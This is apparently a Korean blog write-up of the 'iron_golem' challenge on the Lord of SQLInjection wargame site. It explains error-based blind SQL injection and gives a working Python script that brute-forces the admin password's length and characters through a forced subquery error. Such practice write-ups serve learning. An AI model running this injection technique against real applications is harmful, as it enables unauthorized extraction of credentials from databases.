반응형
문제
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php
문제풀이
이전 문제들과 다르게 쿼리문이 잘못되었을 때 에러문만 출력된다.
이를 이용하여 if문과 잘못된 쿼리문으로 blind injection을 시도하여 pw의 길이와 문자열을 추측할 수 있다. (error based sql injection)
- 파이썬 코드
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?"
# flag_len
flag_len=0
for i in range(1,50):
query="pw='||if(id='admin'%26%26length(pw)={},1,(select 1 union select 2))%23".format(i);
res=requests.get(url+query, cookies=cookie)
if (res.text.find("Subquery returns")<0):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query="pw='||if(id='admin'%26%26ascii(substr(pw,{},1))={},1,(select 1 union select 2))%23".format(i,j)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("Subquery returns")<0):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] hell_fire (0) | 2023.01.25 |
---|---|
[LOS] dark_eyes (0) | 2023.01.24 |
[LOS] xavis (0) | 2023.01.23 |
[LOS] dragon (0) | 2023.01.23 |
[LOS] nightmare (0) | 2023.01.22 |